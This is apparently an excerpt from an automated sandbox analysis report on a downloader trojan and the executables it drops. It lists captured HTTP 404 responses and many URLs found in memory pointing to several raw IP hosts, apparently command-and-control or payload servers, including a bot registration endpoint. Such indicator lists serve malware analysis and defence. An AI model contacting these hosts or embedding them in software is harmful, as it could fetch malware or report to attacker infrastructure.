20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:25:54 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:25:57 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: winploravr.exe, winploravr.exe, 0000000E.00000002.1927342041.00000000000F3000.00000002.00000001.01000000.0000000D.sdmp, winploravr.exe, 0000000E.00000000.1906559266.00000000000F3000.00000002.00000001.01000000.0000000D.sdmp, winploravr.exe, 00000011.00000002.2008324273.00000000002A3000.00000002.00000001.01000000.0000000A.sdmp, winploravr.exe, 00000011.00000000.1987852595.00000000002A3000.00000002.00000001.01000000.0000000A.sdmp, SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe, winploravr.exe.7.dr, sysbrapsvc.exe.0.dr, winploravr.exe0.7.dr, 3193211493.exe.2.dr, 1146722911.exe.2.dr	String found in binary or memory: http://185.215.113.66/
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000003.1910029752.0000000000946000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000003.2077440779.0000000000948000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 2303012543.exe, 00000008.00000002.1835645127.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2303012543.exe, 00000008.00000000.1812033421.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2303012543.exe, 00000008.00000002.1835372056.000000000099E000.00000004.00000020.00020000.00000000.sdmp, 2711236308.exe, 2711236308.exe, 0000000D.00000000.1899350021.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 2711236308.exe, 0000000D.00000002.1922511863.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 1245832676.exe, 1245832676.exe, 00000010.00000002.2002860565.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 1245832676.exe, 00000010.00000000.1982341413.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 2711236308.exe.7.dr, 2303012543.exe.7.dr, 1245832676.exe.7.dr	String found in binary or memory: http://185.215.113.66/1
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1A
Source: 1146722911.exe, 00000007.00000003.1910029752.0000000000946000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000003.2077440779.0000000000948000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 00000008.00000002.1835645127.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2303012543.exe, 00000008.00000000.1812033421.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2711236308.exe, 0000000D.00000000.1899350021.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 2711236308.exe, 0000000D.00000002.1922511863.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 1245832676.exe, 00000010.00000002.2002860565.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 1245832676.exe, 00000010.00000000.1982341413.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 2711236308.exe.7.dr, 2303012543.exe.7.dr, 1245832676.exe.7.dr	String found in binary or memory: http://185.215.113.66/1http://185.215.113.66/2http://185.215.113.66/3http://185.215.113.66/4http://1
Source: 1146722911.exe, 00000007.00000003.1910029752.0000000000946000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000003.2077440779.0000000000948000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 2303012543.exe, 00000008.00000002.1835372056.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 00000008.00000002.1835645127.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2303012543.exe, 00000008.00000000.1812033421.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2711236308.exe, 2711236308.exe, 0000000D.00000000.1899350021.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 2711236308.exe, 0000000D.00000002.1922511863.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 1245832676.exe, 1245832676.exe, 00000010.00000002.2002860565.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 1245832676.exe, 00000010.00000000.1982341413.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 2711236308.exe.7.dr, 2303012543.exe.7.dr, 1245832676.exe.7.dr	String found in binary or memory: http://185.215.113.66/2
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2.233.141/
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2H
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2O
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000003.1910029752.0000000000946000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000003.2077440779.0000000000948000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 2303012543.exe, 00000008.00000002.1835372056.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 00000008.00000002.1835645127.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2303012543.exe, 00000008.00000000.1812033421.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2711236308.exe, 2711236308.exe, 0000000D.00000000.1899350021.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 2711236308.exe, 0000000D.00000002.1922511863.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 1245832676.exe, 1245832676.exe, 00000010.00000002.2002860565.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 1245832676.exe, 00000010.00000000.1982341413.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 2711236308.exe.7.dr, 2303012543.exe.7.dr, 1245832676.exe.7.dr	String found in binary or memory: http://185.215.113.66/3
Source: 2303012543.exe, 00000008.00000002.1835372056.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/3:(
Source: sysbrapsvc.exe, 00000002.00000003.1794514607.0000000000692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/3KKC:
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/3T
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp, sysbrapsvc.exe, 00000002.00000002.3860975696.0000000000692000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000003.1910029752.0000000000946000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000003.2077440779.0000000000948000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 2303012543.exe, 00000008.00000002.1835372056.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 00000008.00000002.1835645127.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2303012543.exe, 00000008.00000000.1812033421.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2711236308.exe, 2711236308.exe, 0000000D.00000000.1899350021.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 2711236308.exe, 0000000D.00000002.1922511863.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 1245832676.exe, 1245832676.exe, 00000010.00000002.2002860565.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 1245832676.exe, 00000010.00000000.1982341413.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 2711236308.exe.7.dr, 2303012543.exe.7.dr, 1245832676.exe.7.dr	String found in binary or memory: http://185.215.113.66/4
Source: sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp, sysbrapsvc.exe, 00000002.00000002.3860975696.0000000000692000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000003.1910029752.0000000000946000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000003.2077440779.0000000000948000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 2303012543.exe, 00000008.00000002.1835372056.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 00000008.00000002.1835645127.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2303012543.exe, 00000008.00000000.1812033421.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2711236308.exe, 2711236308.exe, 0000000D.00000000.1899350021.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 2711236308.exe, 0000000D.00000002.1922511863.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 1245832676.exe, 1245832676.exe, 00000010.00000002.2002860565.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 1245832676.exe, 00000010.00000000.1982341413.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 2711236308.exe.7.dr, 2303012543.exe.7.dr, 1245832676.exe.7.dr	String found in binary or memory: http://185.215.113.66/5
Source: sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/5C:
Source: 2303012543.exe, 00000008.00000002.1835372056.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/5P
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000003.1910029752.0000000000946000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000003.2077440779.0000000000948000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 2303012543.exe, 00000008.00000002.1835372056.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 00000008.00000002.1835645127.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2303012543.exe, 00000008.00000000.1812033421.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2711236308.exe, 2711236308.exe, 0000000D.00000000.1899350021.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 2711236308.exe, 0000000D.00000002.1922511863.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 1245832676.exe, 1245832676.exe, 00000010.00000002.2002860565.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 1245832676.exe, 00000010.00000000.1982341413.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 2711236308.exe.7.dr, 2303012543.exe.7.dr, 1245832676.exe.7.dr	String found in binary or memory: http://185.215.113.66/6
Source: 2303012543.exe, 00000008.00000002.1835372056.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/61(
Source: 1146722911.exe, 00000007.00000003.1910029752.0000000000946000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3857092737.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000003.2077440779.0000000000948000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 2303012543.exe, 00000008.00000002.1835645127.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2303012543.exe, 00000008.00000000.1812033421.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2711236308.exe, 2711236308.exe, 0000000D.00000000.1899350021.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 2711236308.exe, 0000000D.00000002.1922511863.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 1245832676.exe, 1245832676.exe, 00000010.00000002.2002860565.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 1245832676.exe, 00000010.00000000.1982341413.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 2711236308.exe.7.dr, 2303012543.exe.7.dr, 1245832676.exe.7.dr	String found in binary or memory: http://185.215.113.66/_1
Source: 1146722911.exe, 00000007.00000002.3857092737.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_1/
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_1Ih
Source: 1146722911.exe, 00000007.00000002.3857092737.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_1_
Source: 1146722911.exe, 00000007.00000003.1910029752.0000000000946000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000003.2077440779.0000000000948000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 2303012543.exe, 00000008.00000002.1835645127.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2303012543.exe, 00000008.00000000.1812033421.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2711236308.exe, 2711236308.exe, 0000000D.00000000.1899350021.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 2711236308.exe, 0000000D.00000002.1922511863.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 1245832676.exe, 1245832676.exe, 00000010.00000002.2002860565.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 1245832676.exe, 00000010.00000000.1982341413.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 2711236308.exe.7.dr, 2303012543.exe.7.dr, 1245832676.exe.7.dr	String found in binary or memory: http://185.215.113.66/_2
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_2.233.141/_2
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_2Ah
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_2Yk
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_2ah(d-
Source: 2303012543.exe, 00000008.00000002.1835372056.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_2d
Source: 1146722911.exe, 00000007.00000003.1910029752.0000000000946000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3857092737.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3854688865.000000000073A000.00000004.00000010.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000003.2077440779.0000000000948000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 2303012543.exe, 00000008.00000002.1835372056.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 00000008.00000002.1835645127.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2303012543.exe, 00000008.00000000.1812033421.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2711236308.exe, 2711236308.exe, 0000000D.00000000.1899350021.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 2711236308.exe, 0000000D.00000002.1922511863.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 1245832676.exe, 1245832676.exe, 00000010.00000002.2002860565.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 1245832676.exe, 00000010.00000000.1982341413.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 2711236308.exe.7.dr, 2303012543.exe.7.dr, 1245832676.exe.7.dr	String found in binary or memory: http://185.215.113.66/_3
Source: 1146722911.exe, 00000007.00000002.3854688865.000000000073A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_32_p0
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_36
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_36U
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_36o
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_377p
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_3Yh
Source: 2303012543.exe, 00000008.00000002.1835372056.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_3mily
Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_3qh
Source: 2303012543.exe, 00000008.00000002.1835372056.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/_3t
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/der
Source: SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe, sysbrapsvc.exe.0.dr, 3193211493.exe.2.dr	String found in binary or memory: http://185.215.113.66/http://91.202.233.141/http://193.233.132.177/123456%s%s%s:Zone.Identifier%user
Source: sysbrapsvc.exe, 00000002.00000003.1665949097.0000000004781000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000000.1686101953.0000000000DB3000.00000002.00000001.01000000.00000008.sdmp, 1146722911.exe, 00000007.00000002.3860898504.0000000000DB3000.00000002.00000001.01000000.00000008.sdmp, winploravr.exe, 00000009.00000000.1825407566.00000000002A3000.00000002.00000001.01000000.0000000A.sdmp, winploravr.exe, 00000009.00000002.1846619040.00000000002A3000.00000002.00000001.01000000.0000000A.sdmp, winploravr.exe, 0000000E.00000002.1927342041.00000000000F3000.00000002.00000001.01000000.0000000D.sdmp, winploravr.exe, 0000000E.00000000.1906559266.00000000000F3000.00000002.00000001.01000000.0000000D.sdmp, winploravr.exe, 00000011.00000002.2008324273.00000000002A3000.00000002.00000001.01000000.0000000A.sdmp, winploravr.exe, 00000011.00000000.1987852595.00000000002A3000.00000002.00000001.01000000.0000000A.sdmp, winploravr.exe.7.dr, winploravr.exe0.7.dr, 1146722911.exe.2.dr	String found in binary or memory: http://185.215.113.66/http://91.202.233.141/http://193.233.132.177/_1_2_3%s:Zone.Identifier%windir%%
Source: sysbrapsvc.exe, 00000002.00000002.3863143068.0000000002263000.00000004.00000020.00020000.00000000.sdmp, 300129380.exe, 00000012.00000000.2034540259.00000000003F2000.00000002.00000001.01000000.00000010.sdmp, 300129380.exe, 00000012.00000002.2075465997.00000000003F2000.00000002.00000001.01000000.00000010.sdmp, 300129380.exe.2.dr	String found in binary or memory: http://185.215.113.66/reg.php?s=%s
Source: sysbrapsvc.exe, 00000002.00000002.3863143068.0000000002263000.00000004.00000020.00020000.00000000.sdmp, 300129380.exe, 00000012.00000000.2034540259.00000000003F2000.00000002.00000001.01000000.00000010.sdmp, 300129380.exe, 00000012.00000002.2075465997.00000000003F2000.00000002.00000001.01000000.00000010.sdmp, 300129380.exe.2.dr	String found in binary or memory: http://185.215.113.66/reg.php?s=%sMozilla/5.0
Source: winploravr.exe, winploravr.exe, 0000000E.00000002.1927342041.00000000000F3000.00000002.00000001.01000000.0000000D.sdmp, winploravr.exe, 0000000E.00000000.1906559266.00000000000F3000.00000002.00000001.01000000.0000000D.sdmp, winploravr.exe, 00000011.00000002.2008324273.00000000002A3000.00000002.00000001.01000000.0000000A.sdmp, winploravr.exe, 00000011.00000000.1987852595.00000000002A3000.00000002.00000001.01000000.0000000A.sdmp, SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe, winploravr.exe.7.dr, sysbrapsvc.exe.0.dr, winploravr.exe0.7.dr, 3193211493.exe.2.dr, 1146722911.exe.2.dr	String found in binary or memory: http://193.233.132.177/
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/1
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/2
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/2S
Source: sysbrapsvc.exe, 00000002.00000002.3863535540.00000000024DB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/3
Source: sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/31A
Source: sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/377
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/3C
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/3graphy
Source: sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/3h.dll
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.177/3s
